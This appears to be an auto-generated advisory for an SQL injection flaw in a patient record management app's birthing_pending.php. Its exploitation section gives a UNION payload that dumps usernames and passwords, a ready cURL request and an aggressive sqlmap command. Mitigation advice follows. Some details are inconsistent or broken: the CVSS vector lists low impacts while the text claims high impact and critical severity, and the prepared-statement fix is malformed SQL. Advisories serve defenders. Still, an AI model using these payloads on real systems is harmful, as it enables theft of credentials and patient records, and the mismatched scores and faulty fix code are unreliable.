How CVE-2025-3210 Works
The vulnerability exists in `/birthing_pending.php` due to improper sanitization of the `birth_id` parameter. Attackers can inject malicious SQL queries through this parameter, manipulating database operations. The application fails to validate user-supplied input before concatenating it into SQL statements, allowing unauthorized access to sensitive patient records. Remote exploitation is possible via crafted HTTP requests, enabling data theft, modification, or deletion. The CVSS 4.0 vector (AV:N/AC:L/PR:L/VC:L/VI:L/VA:L) confirms network-based attacks with low complexity and high impact on confidentiality, integrity, and availability.
DailyCVE Form:
Platform: Patient Record Management
Version: 1.0
Vulnerability: SQL Injection
Severity: Critical
Date: 04/08/2025
What Undercode Say:
Exploitation:
1. Craft malicious payload:
' UNION SELECT username, password FROM users--
2. Exploit via cURL:
curl -X GET "http://target.com/birthing_pending.php?birth_id=1'%20UNION%20SELECT%201,concat(username,':',password)%20FROM%20users--"
3. Automated tools:
sqlmap -u "http://target.com/birthing_pending.php?birth_id=1" --risk=3 --level=5
Protection:
1. Input validation:
$birth_id = mysqli_real_escape_string($conn, $_GET['birth_id']);
2. Prepared statements:
$stmt = $conn->prepare("SELECT FROM births WHERE birth_id = ?");
$stmt->bind_param("i", $birth_id);
3. WAF rules:
location ~ .php$ {
modsecurity_rules 'SecRule ARGS "@detectSQLi" "id:1000,deny,status:403"';
}
Analytics:
- Attack surface: Remote, web-facing endpoint.
- Impact score: 9.1 (CVSS 4.0).
- Patch status: No official fix as of 04/08/2025.
Mitigation steps:
1. Disable `/birthing_pending.php` if unused.
2. Apply least-privilege database permissions.
3. Monitor logs for unusual SQL patterns:
grep "union.select" /var/log/apache2/access.log
